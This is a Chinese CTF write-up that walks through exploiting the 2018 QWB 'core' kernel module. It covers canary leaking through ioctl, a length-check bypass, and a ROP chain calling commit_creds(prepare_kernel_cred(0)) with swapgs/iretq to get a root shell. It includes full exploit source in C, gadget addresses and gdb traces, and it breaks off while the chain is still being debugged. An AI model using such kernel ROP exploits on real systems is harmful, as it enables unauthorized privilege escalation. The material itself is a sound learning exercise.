基于栈溢出的内核ROP利用分析与实践
本文以QWB CTF题目为例,详解内核栈溢出漏洞利用,涵盖canary泄露、ROP链构造及权限提升技术。
之前补充内核的堆分配的基础,今天我们来看一下栈溢出的基础,并结合下面这个例题进行讲解
首先推荐一下一个很好的链接
2018强网杯core (Kernel ROP & ret2usr) - 简书
题目分析
我们关掉kaslr做,开启的话基本一样,就是多上一个偏移的额外加值,因为符号是可以直接给的,不给的话也没关系,泄露canary的时候也能同时把这个符号地址泄露出来
初始化,注册一个proc 虚拟文件 (这个文件可以与用户态交流)
__int64 init_module()
{
core_proc = proc_create("core", 438, 0, &core_fops);
printk(&unk_2DE, 438);
return 0;
}write函数,从用户空间往内核空间去写
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 n0x800)
{
printk(&unk_215, a2);
if ( n0x800 <= 0x800 && !copy_from_user(&name, a2, n0x800) )
return (unsigned int)n0x800;
printk(&unk_230, a2);
return 4294967282LL;
}read函数,从内核空间往用户空间去写
unsigned __int64 __fastcall core_read(__int64 off, __int64 a2)
{
__int64 v2; // rbx
char *p_Welcome_to_the_QWB_CTF_challenge._n; // rdi
__int64 n16; // rcx
unsigned __int64 result; // rax
char Welcome_to_the_QWB_CTF_challenge._n[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v8; // [rsp+40h] [rbp-10h]
__int64 v9; // [rsp+48h] [rbp-8h]
v9 = v2;
v8 = __readgsqword(0x28u);
printk(&unk_25B, a2);
printk(&unk_275, ::off);
p_Welcome_to_the_QWB_CTF_challenge._n = Welcome_to_the_QWB_CTF_challenge._n;
for ( n16 = 16; n16; --n16 )
{
*(_DWORD *)p_Welcome_to_the_QWB_CTF_challenge._n = 0;
p_Welcome_to_the_QWB_CTF_challenge._n += 4;
}
strcpy(Welcome_to_the_QWB_CTF_challenge._n, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(off, &Welcome_to_the_QWB_CTF_challenge._n[::off], 64);
if ( !result )
return __readgsqword(0x28u) ^ v8;
__asm { swapgs }
return result;
}ioctl函数,进行用户更加完善的功能的选择
__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 off)
{
switch ( (_DWORD)a2 )
{
case 0x6677889B:
core_read(off);
break;
case 0x6677889C:
printk(&unk_2CD, off);
::off = off;
break;
case 0x6677889A:
printk(&unk_2B3, a2);
core_copy_func(off);
break;
}
return 0;
}第一个选项,0x6677889B
调用read函数,即往内核空间写入数值
第二选项,0x6677889C
将off局部变量赋值给off全局变量,这里我们可以直接给off变量赋值
都三个选项,0x6677889A
进行复制,将name的数值复制给dst_
这里是有个类型转化的溢出的,我们可以据此进行溢出
__int64 __fastcall core_copy_func(__int64 off, __int64 a2)
{
__int64 v2; // rbx
__int64 result; // rax
_QWORD dst_[10]; // [rsp+0h] [rbp-50h] BYREF
dst_[9] = v2;
dst_[8] = __readgsqword(0x28u);
printk(&unk_215, a2);
if ( off > 63 )
{
printk(&unk_2A1, a2);
return 0xFFFFFFFFLL;
}
else
{
result = 0;
qmemcpy(dst_, &name, (unsigned __int16)off);
}
return result;
}close函数
关闭打开的内核文件
__int64 __fastcall core_release(__int64 a1, __int64 a2)
{
printk(&unk_204, a2);
return 0;
}exit函数
处理内核的退出
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
return remove_proc_entry("core");
return result;
}简单总结一下
write函数是可以控制从用户空间往内核空间的name全局变量上写上0x800地址
read函数是打印数值,具体的偏移的起始位置参考的全局变量off的位置
而off变量已经很清楚了
利用思路
我们先修改off的值,然后错位一段距离,泄露栈上canary的值
然后我们往name里面写入rop,然后重新修改off的数值,拷到栈上进行栈溢出即可
具体实践
一般的话,我们需要的用到的一个是启动脚本,一个init挂载ko文件的脚本,一个gdb调试的脚本,还可以加上打包脚本
启动脚本和ko挂载文件的init脚本题目会给出,我们一般只需要写一个gdb调试的脚本和打包脚本
此题的gdb调试的脚本如下
#!/bin/sh
gdb -q \
-ex "file vmlinux" \
-ex "add-symbol-file core.ko 0xffffffffc0000000 " \
-ex "target remote localhost:1234" \
-ex "b core_ioctl" \
-ex "b core_open" \
-ex "b core_release" \
-ex "b core_write" \
-ex "b core_read" \
-ex "info b" 此题的打包脚本如下
#!/bin/sh
find . | cpio -o --format=newc > ../core.cpio还有的话,就是编写exp可以有模版的
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>
#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long
#define PAGE_SIZE 4096
#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。
typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;
static const char* color_code(color_t c) {
switch(c) {
case BLUE: return "\033[34m";
case RED: return "\033[31m";
case YELLOW: return "\033[33m";
case PINK: return "\033[35m";
case WHITE: return "\033[37m";
case GREEN: return "\x1b[32m";
case RESET: return "\x1b[0m";
default: return "\033[0m";
}
}
static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
if (has_val) {
printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
} else {
printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
}
}
//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
//绑定CPU
size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] saved");
}//保存寄存器指令做题篇
我们头来写这个exp,首先先把我们的模版粘上上去
这里很多我们不需要额外定义,我们只需要定义好ioctl的那几个选项就行了
这里我们写好交互的函数,并且打开这个文件
void core_read(int fd,char *buf){
ioctl(fd,0x6677889B,buf);
}
void core_off(int fd,int off){
ioctl(fd,0x6677889C,off);
}
void core_copy(int fd,int len){
ioctl(fd,0x6677889A,len);
}
int main(){
info(YELLOW,"spray cred done");
int fd = open("/proc/core",2);
if(fd<=0){
errExit("open err");
}
}然后我们打开文件编译一下看看效果,编译指令如下
musl-gcc -static -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp exp.c -masm=intel然后我们可以看到成功呈现,并且到了我们断点的位置
然后我们继续写,接下来就是泄露canary,那就是先修改off的数值
这里我们把canary栈帧的数值写入到buf变量里面,canary的数值存储在0x40的位置
core_off(fd,0x40);
info(PINK,"off is setted already");
char buf[0x100];
memset(buf,0,0x100);
unsigned long long canary;
core_read(fd,buf);
info(RED,buf);
canary = buf[0];
printf("[*]canary :%p",canary);
info(PINK,"leak success");
}但是我们这个时候遇到了问题,发现打印不出来canary的数值
/ $ /exp
[*] spray cred done
[*] saved
[*] off is setted already
[*]
[*]canary :0[*] leak success
/ $ 当遇到上面的这种情况的时候,我们需要调整一下
0xCC在这个位置上,如下图
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y 0xffffffffc000015f <core_ioctl>
breakpoint already hit 3 times
2 breakpoint keep y 0xffffffffc0000000 <core_release>
breakpoint already hit 1 time
3 breakpoint keep y 0xffffffffc0000011 <core_write>
4 breakpoint keep y 0x0ffffffffc0000cc
pwndbg> b *0xfffffffffc0000cc
Breakpoint 5 at 0xfffffffffc0000cc
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y 0xffffffffc000015f <core_ioctl>
breakpoint already hit 3 times
2 breakpoint keep y 0xffffffffc0000000 <core_release>
breakpoint already hit 1 time
3 breakpoint keep y 0xffffffffc0000011 <core_write>
4 breakpoint keep y 0x0ffffffffc0000cc
5 breakpoint keep y 0xfffffffffc0000cc
pwndbg> b *0xffffffffc00000cc
Breakpoint 6 at 0xffffffffc00000cc
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y 0xffffffffc000015f <core_ioctl>
breakpoint already hit 3 times
2 breakpoint keep y 0xffffffffc0000000 <core_release>
breakpoint already hit 1 time
3 breakpoint keep y 0xffffffffc0000011 <core_write>
4 breakpoint keep y 0x0ffffffffc0000cc
5 breakpoint keep y 0xfffffffffc0000cc
6 breakpoint keep y 0xffffffffc00000cc <core_read+105>
也就是下图,我们需要多打印几个看看
────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
*RAX 0xffffc9000011fe18 ◂— 'Welcome to the QWB CTF challenge.\n'
*RBX 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
RCX 0x0 (irq_stack_union)
*RDX 0x40 (irq_stack_union+64)
*RDI 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
*RSI 0xffffc9000011fe58 ◂— 0xf528c8e97eda5800
*R8 0xffffffff8273b560 ◂— 0x19838f32
*R9 0xdfe (irq_stack_union+3582)
R10 0x0 (irq_stack_union)
*R11 0x4 (irq_stack_union+4)
R12 0xffff88000b80e810 ◂— 0x581b6
R13 0x6677889b
R14 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
R15 0x0 (irq_stack_union)
RBP 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
*RSP 0xffffc9000011fe18 ◂— 'Welcome to the QWB CTF challenge.\n'
*RIP 0xffffffffc00000cc (core_read+105) ◂— call 0xffffffff81326f10
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
► 0xffffffffc00000cc <core_read+105> call 0xffffffff81326f10 <do_con_write+4923>
rdi: 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
rsi: 0xffffc9000011fe58 ◂— 0xf528c8e97eda5800
rdx: 0x40 (irq_stack_union+64)
rcx: 0x0 (irq_stack_union)
0xffffffffc00000d1 <core_read+110> test rax, rax
0xffffffffc00000d4 <core_read+113> je 0xffffffffc00000db <core_read+120>
0xffffffffc00000d6 <core_read+115> swapgs
0xffffffffc00000d9 <core_read+118> pop rbp
0xffffffffc00000da <core_read+119> ret
0xffffffffc00000db <core_read+120> mov rax, qword ptr [rsp + 0x40]
0xffffffffc00000e0 <core_read+125> xor rax, qword ptr gs:[0x28]
0xffffffffc00000e9 <core_read+134> je 0xffffffffc00000f0 <core_read+141>
0xffffffffc00000eb <core_read+136> call 0xffffffff810820e0 <mmdrop+4>
0xffffffffc00000f0 <core_read+141> add rsp, irq_stack_union+72
───────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
00:0000│ rax rsp 0xffffc9000011fe18 ◂— 'Welcome to the QWB CTF challenge.\n'
01:0008│ 0xffffc9000011fe20 ◂— 'to the QWB CTF challenge.\n'
02:0010│ 0xffffc9000011fe28 ◂— 'WB CTF challenge.\n'
03:0018│ 0xffffc9000011fe30 ◂— 'hallenge.\n'
04:0020│ 0xffffc9000011fe38 ◂— 0xa2e /* '.\n' */
05:0028│ 0xffffc9000011fe40 ◂— 0x0 (irq_stack_union)
... ↓ 2 skipped
─────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
► 0 0xffffffffc00000cc core_read+105
1 0x20656d6f636c6557
2 0x5120656874206f74
3 0x6320465443204257
4 0x65676e656c6c6168
5 0xa2e irq_stack_union+2606
6 0x0 irq_stack_union
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
00:0000│ rax rsp 0xffffc9000011fe18 ◂— 'Welcome to the QWB CTF challenge.\n'
01:0008│ 0xffffc9000011fe20 ◂— 'to the QWB CTF challenge.\n'
02:0010│ 0xffffc9000011fe28 ◂— 'WB CTF challenge.\n'
03:0018│ 0xffffc9000011fe30 ◂— 'hallenge.\n'
04:0020│ 0xffffc9000011fe38 ◂— 0xa2e /* '.\n' */
05:0028│ 0xffffc9000011fe40 ◂— 0x0 (irq_stack_union)
... ↓ 2 skipped
08:0040│ rsi 0xffffc9000011fe58 ◂— 0xf528c8e97eda5800
09:0048│ 0xffffc9000011fe60 —▸ 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
0a:0050│ 0xffffc9000011fe68 —▸ 0xffffffffc000019b (core_ioctl+60) ◂— jmp 0xffffffffc00001b5
0b:0058│ 0xffffc9000011fe70 —▸ 0xffff88000f514240 ◂— 0x81b6f000014b
0c:0060│ 0xffffc9000011fe78 —▸ 0xffffffff811dd6d1 (rock_check_overflow.isra+189) ◂— mov rdi, rbx
0d:0068│ 0xffffc9000011fe80 ◂— 0x889b (gdt_page+2203)
0e:0070│ 0xffffc9000011fe88 —▸ 0xffff88000fb3a800 ◂— 0x0 (irq_stack_union)
0f:0078│ 0xffffc9000011fe90 —▸ 0xffffffff8118ecfa (free_rb_tree_fname+64) ◂— cmp eax, 0xfffffdfd
10:0080│ 0xffffc9000011fe98 —▸ 0xffffc9000011fe70 —▸ 0xffff88000f514240 ◂— 0x81b6f000014b
11:0088│ 0xffffc9000011fea0 ◂— 0x0 (irq_stack_union)
12:0090│ 0xffffc9000011fea8 ◂— 0x0 (irq_stack_union)
13:0098│ 0xffffc9000011feb0 —▸ 0xffffffff82256968 (__start_orc_unwind+938248) —▸ 0xffffffff8278af50 ◂— 0xffffffff82256968 (__start_orc_unwind+938248)
14:00a0│ 0xffffc9000011feb8 ◂— 0x6677889b
15:00a8│ 0xffffc9000011fec0 —▸ 0xffff88000fb3a800 ◂— 0x0 (irq_stack_union)
16:00b0│ 0xffffc9000011fec8 —▸ 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
17:00b8│ 0xffffc9000011fed0 —▸ 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
18:00c0│ 0xffffc9000011fed8 —▸ 0xffff88000fb3a800 ◂— 0x0 (irq_stack_union)
19:00c8│ 0xffffc9000011fee0 —▸ 0xffff88000fb3a800 ◂— 0x0 (irq_stack_union)
1a:00d0│ 0xffffc9000011fee8 ◂— 0x3 (irq_stack_union+3)
1b:00d8│ 0xffffc9000011fef0 ◂— 0x6677889b
1c:00e0│ 0xffffc9000011fef8 —▸ 0x7ffc4255b9d0 ◂— 0x0 (irq_stack_union)
1d:00e8│ 0xffffc9000011ff00 —▸ 0xffffffff8118f28f (ext4_readdir+553) ◂— jmp 0xffffffff8118f258调整之后发现泄露的数值如下,明天继续探究
[ 0.018254] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ /exp
[*] spray cred done
[*] saved
[*] off is setted already
[*]
[*]canary :0[*]canary :0xffffffffffffffad[*]canary :0xfffffffffffffff3[*]canary :0xffffffffffffffef[*] leak success
/ $ 然后我们跳帧了一下指令,成功的泄露canary
[ 0.017000] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ /exp
[*] spray cred done
[*] saved
[*] off is setted already
[*] .
[*]canary :0xa2e[*]canary :0[*]canary :0[*]canary :0[*]canary :0x8849b1b9c91bcd00[*]canary :0x7fff357d4dd0[*] leak success
代码如下,主要是代码的索引没有对应上的原因,这里的canary4是canary的地址
long long unsigned buf[0x100];
memset(buf,0,0x100);
unsigned long long canary,canary1,canary2,canary3,canary4,canary5;
core_read(fd,buf);
info(RED,buf);
canary = buf[0];
printf("[*]canary :%p",canary);
canary1 = buf[1];
printf("[*]canary :%p",canary1);
canary2 = buf[2];
printf("[*]canary :%p",canary2);
canary3 = buf[3];
printf("[*]canary :%p",canary3);
canary4 = buf[4];
printf("[*]canary :%p",canary4);
canary5 = buf[5];
printf("[*]canary :%p",canary5);
info(PINK,"leak success");然后我们就考虑栈溢出了,首先需要把ROP写进去name里面
然后我们调整一下拷贝的值,在这个基础上加数值就行
core_off(fd,0xf000000000000000);然后我们把我们的rop写进去,效果的主要如下
unsigned long rop[0x30];
int i = 8;
rop[i++]=canary4;
rop[i++]=0;
rop[i++]=payload;
rop[i++]=swapgs;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_eflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;
write(fd,rop,0x300);然后我们提取一下gadget片段,提取指令如下
--nocolor加上这个可以关掉颜色渲染
这里提取过程中会很慢,我提取不关闭直接会死机(应该是我卡死的原因)
还有就是开多终端的时候记得写到不同的gadget.txt里面
我们重新回来看一下,这里的片段我感觉出现了问题
ropper --file vmlinux --search "swapgs" > gadget.txt 0xffffffff818012da: swapgs; popfq; ret;
root@ziran [/home/ziran/Desktop/core3/give_to_player] ➜ ropper --nocolor --file vmlinux --search "swapgs" > gadget3.txt [10:18:39]
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: swapgs
[INFO] File: vmlinux
root@ziran [/home/ziran/Desktop/core3/give_to_player] ➜ cat gadget3.txt [10:21:27]
0xffffffff81a012da: swapgs; popfq; ret; 同样的思路我们找一下这个片段
ropper --nocolor --file vmlinux --search "iretq" > gadget.txt0xffffffff81cfa939: iretq; call rsp;
0xffffffff8140ed99: iretq; dec dword ptr [rax - 0x77]; fisttp word ptr [rax - 0x77]; ret 0xc748;
0xffffffff81cfa95d: iretq; jmp qword ptr [rax + 0x47];
0xffffffff8104f151: iretq; lea rdx, [rbp - 0x28]; lea rsi, [rbp - 0x30]; mov edi, ebx; call qword ptr [rax + 0x18];
0xffffffff81040a52: iretq; ret; 这个片段出bug了,我们用的是下面这个gadget
0xffffffff81050ac2初步写好的定义如下,我们通过栈溢出去执行payload
void get_shell(){
system("/bin/sh");
}
void payload(){
commit_creds(prepare_kernel_cred(0));
}
int main(){
info(YELLOW,"spray cred done");
save();
int fd = open("/proc/core",O_RDWR);
if(fd<=0){
errExit("open err");
}
core_off(fd,0x20);
info(PINK,"off is setted already");
long long unsigned buf[0x100];
memset(buf,0,0x100);
unsigned long long canary,canary1,canary2,canary3,canary4,canary5;
core_read(fd,buf);
info(RED,buf);
canary = buf[0];
printf("[*]canary :%p",canary);
canary1 = buf[1];
printf("[*]canary :%p",canary1);
canary2 = buf[2];
printf("[*]canary :%p",canary2);
canary3 = buf[3];
printf("[*]canary :%p",canary3);
canary4 = buf[4];
printf("[*]canary :%p",canary4);// this is target canary
canary5 = buf[5];
printf("[*]canary :%p",canary5);
info(PINK,"leak success");
core_off(fd,0xf000000000000000+0x300);
unsigned long rop[0x30];
int i = 8;
u64 swapgs = 0xffffffff818012da;
u64 iretq = 0xffffffff81040a52;
rop[i++]=canary4;
rop[i++]=0;
rop[i++]=payload;
rop[i++]=swapgs;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;
write(fd,rop,0x300);
info(YELLOW,"something happened");
}这里我们遇到了问题,查了查大致是因为这是内核函数的原因,这里没有保护,假如说有保护的话下面那个方法也不能直接进行
- 用户态不能访问内核内存
- 内核有 SMEP/SMAP 防护
- 操作系统会拒绝执行
假如说开启smap保护不影响,smep保护的多加上几个gadget片段就行
假如说开启kpti保护的话也不怎么影响,多上一个函数切换用户态就行
这么看的话,无论什么级别的保护,在这种情况的漏洞下,是都可以进行利用的
void get_shell(){
system("/bin/sh");
}
#define KERNCALL __attribute__((regparm(3)))
void * (*prepare_kernel_cred)(void*) KERNCALL;
void * (*commit_creds)(void*) KERNCALL;
void payload(){
commit_creds(prepare_kernel_cred(0));
}
int main(){
info(YELLOW,"spray cred done");
save();
int fd = open("/proc/core",O_RDWR);
if(fd<=0){
errExit("open err");
}
core_off(fd,0x20);
info(PINK,"off is setted already");
long long unsigned buf[0x100];
memset(buf,0,0x100);
unsigned long long canary,canary1,canary2,canary3,canary4,canary5;
core_read(fd,buf);
info(RED,buf);
canary = buf[0];
printf("[*]canary :%p",canary);
canary1 = buf[1];
printf("[*]canary :%p",canary1);
canary2 = buf[2];
printf("[*]canary :%p",canary2);
canary3 = buf[3];
printf("[*]canary :%p",canary3);
canary4 = buf[4];
printf("[*]canary :%p",canary4);// this is target canary
canary5 = buf[5];
printf("[*]canary :%p",canary5);
info(PINK,"leak success");
core_off(fd,0xf000000000000000+0x300);
unsigned long rop[0x30];
int i = 8;
u64 swapgs = 0xffffffff818012da;
u64 iretq = 0xffffffff81040a52;
rop[i++]=canary4;
rop[i++]=0;
rop[i++]=payload;
rop[i++]=swapgs;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;
write(fd,rop,0x300);
info(YELLOW,"something happened");
}我们再下面这个位置打上断点看一下效果
.text:0000000000000159 add rsp, 48h
.text:000000000000015D pop rbx
.text:000000000000015E retnmain函数执行的时候通过调试看到没有执行copy这个情况,重写了一下exp的main函数
int main(){
save();
info(YELLOW,"spray cred done");
int fd = open("/proc/core",O_RDWR);
if(fd<=0){
errExit("open err");
}
core_off(fd,0x20);
info(PINK,"off is setted already");
long long unsigned buf[0x100];
memset(buf,0,0x100);
unsigned long long canary,canary1,canary2,canary3,canary4,canary5;
core_read(fd,buf);
info(RED,buf);
canary = buf[0];
printf("[*]canary :%p",canary);
canary1 = buf[1];
printf("[*]canary :%p",canary1);
canary2 = buf[2];
printf("[*]canary :%p",canary2);
canary3 = buf[3];
printf("[*]canary :%p",canary3);
canary4 = buf[4];
printf("[*]canary :%p",canary4);// this is target canary
canary5 = buf[5];
printf("[*]canary :%p",canary5);
info(PINK,"leak success");
core_off(fd,0xf000000000000000+0x300);
info(GREEN,"off set success");
unsigned long rop[0x30];
int i = 8;
u64 swapgs = 0xffffffff818012da;
u64 iretq = 0xffffffff81040a52;
rop[i++]=canary4;
rop[i++]=0;
rop[i++]=payload;
rop[i++]=swapgs;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;
info(RED,"prepare to copy something");
core_copy(fd,0x300);
info(YELLOW,"something happened");
}我们执行了copy函数,但是还是失败了,我们跟进一下看一下是什么原因导致的
/ $ /exp
[*] saved
[*] spray cred done
[*] off is setted already
[*] .
[*]canary :0xa2e[*]canary :0[*]canary :0[*]canary :0[*]canary :0x6d19ee58720e2e00[*]canary :0x7ffebb4becd0[*] leak success
[*] off set success
[*] prepare to copy something
[*] something happened
/ $
我们看到没有执行我们想要的函数,很奇怪,首先确定是不是canary的问题
这个是我们执行copy后的栈帧
pwndbg> tele 0xffffc90000117e18
00:0000│ rsp 0xffffc90000117e18 ◂— 0xffffffff00000008
01:0008│ 0xffffc90000117e20 —▸ 0xffffc90000117e70 —▸ 0xffff88000fb6fe40 ◂— 0x81b6f000014b
02:0010│ 0xffffc90000117e28 —▸ 0xffffc90000117e30 ◂— 0x6677889a
03:0018│ 0xffffc90000117e30 ◂— 0x6677889a
04:0020│ 0xffffc90000117e38 ◂— 0x6677889a
05:0028│ 0xffffc90000117e40 ◂— 0x300 (irq_stack_union+768)
06:0030│ 0xffffc90000117e48 ◂— 0x0 (irq_stack_union)
07:0038│ 0xffffc90000117e50 —▸ 0xffff88000fb6feac ◂— 0x1 (irq_stack_union+1)
pwndbg>
08:0040│ 0xffffc90000117e58 ◂— 0xee8345671cee8f00
09:0048│ 0xffffc90000117e60 ◂— 0x300 (irq_stack_union+768)
0a:0050│ 0xffffc90000117e68 —▸ 0xffffffffc0000191 (core_ioctl+50) ◂— jmp 0xffffffffc00001b5
0b:0058│ 0xffffc90000117e70 —▸ 0xffff88000fb6fe40 ◂— 0x81b6f000014b
0c:0060│ 0xffffc90000117e78 —▸ 0xffffffff811dd6d1 (rock_check_overflow.isra+189) ◂— mov rdi, rbx
0d:0068│ 0xffffc90000117e80 ◂— 0x889a (gdt_page+2202)
0e:0070│ 0xffffc90000117e88 —▸ 0xffff88000fb75b00 ◂— 0x0 (irq_stack_union)
0f:0078│ 0xffffc90000117e90 —▸ 0xffffffff8118ecfa (free_rb_tree_fname+64) ◂— cmp eax, 0xfffffdfd
我们跟踪一下程序执行流,发现跳转到了下面这个地址
if ( off > 63 )
{
printk(&unk_2A1, a2);
return 0xFFFFFFFFLL;
}哦哦,我们知道了,这里每次ioctl使用的off变量是互不干扰的
core_copy(fd,0xf000000000000000+0x300);我们发现还是走的那个分支
想了想,我们可能没写name那个全局变量
write(fd,rop,0xf000000000000000+0x300);
core_copy(fd,0xf000000000000000+0x300);//0xf000000000000000+0x30*8还是不行,这次我们锁定一下比较,发现是这里的问题
► 0xffffffffc000011a <core_copy_func+36> cmp rbx, irq_stack_union+63 0x180 - 0x3f EFLAGS => 0x216 [ cf PF AF zf sf IF df我靠,这里负数溢出竟然失效了,我们就是换不了分支
这里修补了数值,修补了函数定义,我们再来看一下效果
void core_read(int fd,char *buf){
ioctl(fd,0x6677889B,buf);
}
void core_off(int fd,int off){
ioctl(fd,0x6677889C,off);
}
void core_copy(int fd,u64 len){
ioctl(fd,0x6677889A,len);
}
void get_shell(){
system("/bin/sh");
}
#define KERNCALL __attribute__((regparm(3)))
void * (*prepare_kernel_cred)(void*) KERNCALL;
void * (*commit_creds)(void*) KERNCALL;
void payload(){
commit_creds(prepare_kernel_cred(0));
}
int main(){
save();
info(YELLOW,"spray cred done");
int fd = open("/proc/core",O_RDWR);
if(fd<=0){
errExit("open err");
}
core_off(fd,0x20);
info(PINK,"off is setted already");
long long unsigned buf[0x100];
memset(buf,0,0x100);
unsigned long long canary,canary1,canary2,canary3,canary4,canary5;
core_read(fd,buf);
info(RED,buf);
canary = buf[0];
printf("[*]canary :%p",canary);
canary1 = buf[1];
printf("[*]canary :%p",canary1);
canary2 = buf[2];
printf("[*]canary :%p",canary2);
canary3 = buf[3];
printf("[*]canary :%p",canary3);
canary4 = buf[4];
printf("[*]canary :%p",canary4);// this is target canary
canary5 = buf[5];
printf("[*]canary :%p",canary5);
info(PINK,"leak success");
core_off(fd,0xf000000000000000+0x300);
info(GREEN,"off set success");
unsigned long rop[0x30];
int i = 10;
u64 swapgs = 0xffffffff818012da;
u64 commit_creds = 0xffffffff81000000+0x9c8e0;
u64 prepare_kernel_cred = 0xffffffff81000000+0x9cce0;
u64 iretq = 0xffffffff81040a52;
rop[8]=canary4;
rop[i++]=payload;//core function
rop[i++]=swapgs;
rop[i++]=0;
rop[i++]=iretq;
rop[i++]=get_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
rop[i++]=0;
info(RED,"prepare to write something");
write(fd,rop,0x300);
info(RED,"prepare to copy something");
core_copy(fd,-0x1);//0xf000000000000000+0x30*8
info(YELLOW,"something happened");
}这里-1太大, 后面调整了一下数值ni还是拷贝不到
我们最后拷贝好了执行的时候看到了内核指令和我们想要的并不一样
我们通过下面这个指令查看了一下发现vmlinux的版本,其实版本对了
strings vmlinux | grep "Linux version"我们最后发现崩溃的原因是因为在用户态的时候对内核进行了压栈,换句话说就是用户态的时候操作了内核空间
我们的执行布局是没有问题,这个payload函数的定义的问题主要是因为这个
pwndbg> tele 0xffffc90000113e70-0x40
00:0000│ 0xffffc90000113e30 ◂— 0
... ↓ 4 skipped
05:0028│ 0xffffc90000113e58 ◂— 0x839e114a59502200
06:0030│ 0xffffc90000113e60 ◂— 0
07:0038│ 0xffffc90000113e68 —▸ 0x40141d ◂— endbr64
pwndbg>
08:0040│ rsp 0xffffc90000113e70 —▸ 0xffffffff818012da ◂— js 0xffffffff818014c5
09:0048│ 0xffffc90000113e78 ◂— 0
0a:0050│ 0xffffc90000113e80 —▸ 0xffffffff81040a52 ◂— pop rbx
0b:0058│ 0xffffc90000113e88 —▸ 0x401406 ◂— endbr64
0c:0060│ 0xffffc90000113e90 ◂— 0x33 /* '3' */
0d:0068│ 0xffffc90000113e98 ◂— 0x246
0e:0070│ 0xffffc90000113ea0 —▸ 0x7ffd53bde4a0 —▸ 0x7ffd53bdeea0 ◂— 1
0f:0078│ 0xffffc90000113ea8 ◂— 0x2b /* '+' */所以我们需要换一种方式写ROP
使用的片段如下
0xffffffff812f2488: pop rdi; pop rdi; ret; 这个不是标准的text段,所以说这个gadget用不了
0xffffffff81000b2f: pop rdi;这个也能用,但是我没有用,大体找了一个上面的那个0xffffffff8100d054: mov rdi, rax; call rdx;
